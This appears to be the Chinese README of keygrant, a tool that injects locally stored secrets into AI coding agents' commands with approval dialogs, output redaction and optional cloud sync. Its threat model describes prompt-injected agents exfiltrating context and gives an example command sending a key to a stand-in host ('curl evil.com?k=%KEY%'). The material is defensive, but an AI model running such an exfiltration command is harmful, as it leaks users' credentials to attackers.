keygrant

keygrant

为 AI 编码 Agent 按命令注入密钥。密钥保存在本地的 DPAPI 加密保险库中；模型的上下文始终只能看到密钥名称——密钥值会在执行时注入子进程的环境中，并且所有输出在返回模型之前都会经过脱敏。

**原因：**放入大模型上下文的任何内容都可能被窃取（提示词注入、日志、生成的代码）。解决办法在于架构：密钥永远不会进入上下文，只会进入执行环境。

**文档：**快速入门、所有命令，以及审批、脱敏和云同步的工作方式：https://keygrant.app/docs/

组件

• keygrant.py — 保险库 + 命令行工具
  • keygrant set NAME [--desc TEXT] — 存储密钥（值通过标准输入传入，绝不通过 argv 传入）
  • keygrant list / rm NAME
  • keygrant exec [--redact] NAMES -- CMD — 注入密钥后运行 CMD
  • keygrant revoke NAME|--all — 撤销有效的审批授权
  • keygrant init — 配置项目（.mcp.json + CLAUDE.md 使用指南）
• keygrant_mcp.py — MCP 服务（stdio JSON-RPC，无依赖）
  • list_secrets — 仅提供名称／说明／用途，绝不提供密钥值
  • exec_with_secrets — 服务端执行并注入密钥，强制对输出进行脱敏
  • 有意不提供 set/store 工具：通过模型写入密钥值会使其进入上下文；密钥值只能通过命令行工具在带外传入

安装

作为 Claude Code 插件

该插件包含 MCP 服务和一项教 Claude 如何使用它的技能，因此无需逐个项目进行设置。它需要 uv。

/plugin marketplace add bazingaedward/keygrant
/plugin install keygrant@keygrant

使用 uvx keygrant==0.1.10 set NAME 在终端中添加密钥，或者按下文所述安装命令行工具。

作为命令行工具和 MCP 服务

uv tool install keygrant     # or: pipx install keygrant

需要 Python ≥ 3.10。macOS 自带 Python 3.9，因此直接运行 pip install 会失败；uv 会自动获取合适的 Python。

然后，在每个需要 Agent 使用密钥的项目中：

keygrant init

init 会将 keygrant 条目添加到项目的 .mcp.json（与现有服务合并），并将使用指南附加到模型的 CLAUDE.md 中；这两项操作均可重复执行而不会产生重复内容。请在该文件夹中重启 Claude Code，以加载服务。

macOS

密钥值保存在登录钥匙串中；审批通过原生对话框完成。

威胁模型

防范的风险：

• 上下文外泄——受提示词注入影响的 Agent（或普通日志记录）泄露模型上下文中的机密。值永远不会进入上下文：模型只处理名称；解密和注入在执行进程中进行。
• 输出泄漏——Agent 将机密原样输出。返回给模型的所有输出都会经过脱敏，包括 Base64、十六进制和 URL 编码形式。
• 授权挟持——将某项授权用于用户从未看过的操作。一项授权仅涵盖一个 Agent 会话中的一条完全匹配的命令字符串，15 分钟后过期，并且只保存在 MCP 服务的内存中——不存在可伪造的授权文件。只有用户明确选择“允许 30 分钟”时，才会授予更广泛的会话授权。CLI 绝不会重复使用授权。
• 静默使用——每条新命令都需要用户明确批准；对话框会显示完整命令（过长的命令会被拒绝，而不是截断）；超时即拒绝。

此工具无法防范的风险（已知的残余风险）：

• 受入侵的 Agent 可以请求执行通过网络泄露机密的命令（curl evil.com?k=%KEY%）。审批对话框会显示完整命令——仔细检查命令是防护手段。按机密设置出口流量允许列表（将密钥绑定到允许访问的目标主机）已列入路线图。
• 间接调用：批准 sh deploy.sh 就等于批准 deploy.sh 执行的任何操作，而该文件可能是 Agent 编写的。批准脚本调用时，请将其视为批准脚本本身。
• 脱敏是第二道防线，并非万无一失：新型编码方式可能绕过脱敏。首要保障仍然是“值永远不会进入上下文”。
• 任何以同一 OS 用户身份运行的程序都能读取 DPAPI 保险库。此工具用于限制 Agent 对机密的访问，并不能防范本地恶意软件。

审批

每次通过 CLI 或 MCP 服务使用机密，都必须经过用户批准：系统会弹出置顶原生对话框，显示完整命令（默认拒绝，60 秒后超时）。通过 MCP 服务批准后，该条完全匹配的命令可在该会话中重复使用机密 15 分钟——便于重试；任何其他命令都会再次请求批准。若要在一段集中操作期间停止反复弹出提示，请改为选择 允许 30 分钟：随后，该 Agent 会话中的任何命令都可以使用其中显示的机密，持续 30 分钟，无需再次询问（macOS 和 Linux；Windows 对话框仅提供按命令审批）。这需要用户主动选择——默认按钮仍是“拒绝”——并且在授权有效期间，你将不再逐条检查命令。授权仅保存在服务的内存中。每次执行 keygrant exec 时，CLI 都会请求批准，因此 Agent 无法通过在 Shell 中调用它来绕过 MCP 审批。keygrant revoke NAME|--all 会撤销所有正在运行的会话中的先前授权。后续将以常驻托盘应用和 Toast 通知取代该对话框；授权规则保持不变。

存储

• Windows：值在 %USERPROFILE%\.keygrant\vault.json 中使用 DPAPI 加密（按用户加密）。不使用 %APPDATA%：Claude 桌面应用等打包应用使用私有副本的 %APPDATA%，因此它们启动的 MCP 服务和普通终端中的 CLI 会读取不同的保险库。0.1.6 及之前的版本将保险库存放在 %APPDATA%\keygrant\ 中。CLI 和 MCP 服务每次启动时都会将其合并到新的主目录：仅迁移旧保险库中有、而新保险库从未见过的名称，不会覆盖现有内容，因此你删除的机密不会重新出现。旧文件会保留，所以升级期间，0.1.6 安装仍可正常工作。
• macOS：值存储在登录钥匙串中（通过 security CLI；首次读取会触发操作系统钥匙串权限提示，增加一道操作系统级保护）；~/.config/keygrant/vault.json 仅保存元数据
• Linux：值通过 secret-tool 存储在 Secret Service 密钥环中（需要 libsecret-tools 和正在运行的密钥环守护进程；审批对话框需要 zenity）；保险库文件仅保存元数据

保险库文件还会记录使用元数据（使用次数、上次使用时间），作为审计记录的基础。在任何平台上，都可设置 KEYGRANT_HOME 将保险库存放到其他位置。

云同步（预览版）

可选的设备间端到端加密同步 （uv tool install 'keygrant[cloud]'）。值会在设备上加密；服务器始终只存储密文。除非你执行 push，否则不会上传任何内容。

首台设备

uv tool install 'keygrant[cloud]'
keygrant cloud init        # choose a password; prints your Emergency Kit
keygrant push STRIPE_KEY   # upload an existing local secret

请写下 Emergency Kit（Account ID + Secret Key）并离线妥善保管。只有使用你的密码 和 Secret Key 才能解密数据；包括 keygrant 在内的任何人都无法替你找回其中任意一项。

更多设备——旧设备必须处于在线状态（可通过 SSH 或远程桌面连接；配对需要两台设备同时在线，但不必在同一地点）：

keygrant devices add       # old device: shows a pairing code
keygrant pair              # new device: enter the code

随后两台设备的屏幕都会显示一个指纹。输入 yes 前，请在旧设备上确认两者一致——这项检查可以阻止恶意服务器偷偷加入自己的设备。新设备会提示你输入一次密码。

日常使用

echo "sk-..." | keygrant set STRIPE_KEY && keygrant push STRIPE_KEY   # add / change
keygrant push --delete STRIPE_KEY                                     # remove everywhere
keygrant sync                                                          # pull now

list 和 exec 也会自行拉取更改（最多每分钟一次；离线时会静默跳过）。如果两台设备更改了同一个机密，在你执行 sync 之前，后续的 push 会被拒绝；尚未推送的本地编辑绝不会被覆盖。

所有设备都丢了？ 在新机器上，执行 keygrant recover，仅凭 Emergency Kit 和密码即可加入（对于在 0.1.4 之前创建的账户：请在现有设备上执行一次 keygrant cloud enable-recovery）。

通过手机审批——运行 keygrant devices add，然后在手机上打开 https://app.keygrant.app 并输入代码；同样的指纹检查会将该浏览器设为可信审批设备。当桌面弹窗无人响应时，请求会转到该页面；在桌面上明确拒绝后，请求即告终止。浏览器可以审批并查看名称，但无法查看值。

退出——keygrant cloud delete 会销毁账户和所有密文；机密会以仅本地条目的形式保留在每台机器上。

设计和威胁模型：docs/design/cloud-sync-client.md。

路线图（原型 → 产品）

1. 常驻托盘应用（取代模态对话框；提供审批历史和撤销界面）
2. 每个机密的出站允许列表（将密钥绑定到允许访问的目标主机）
3. 面向团队的可选云同步（零知识：服务器仅存储密文）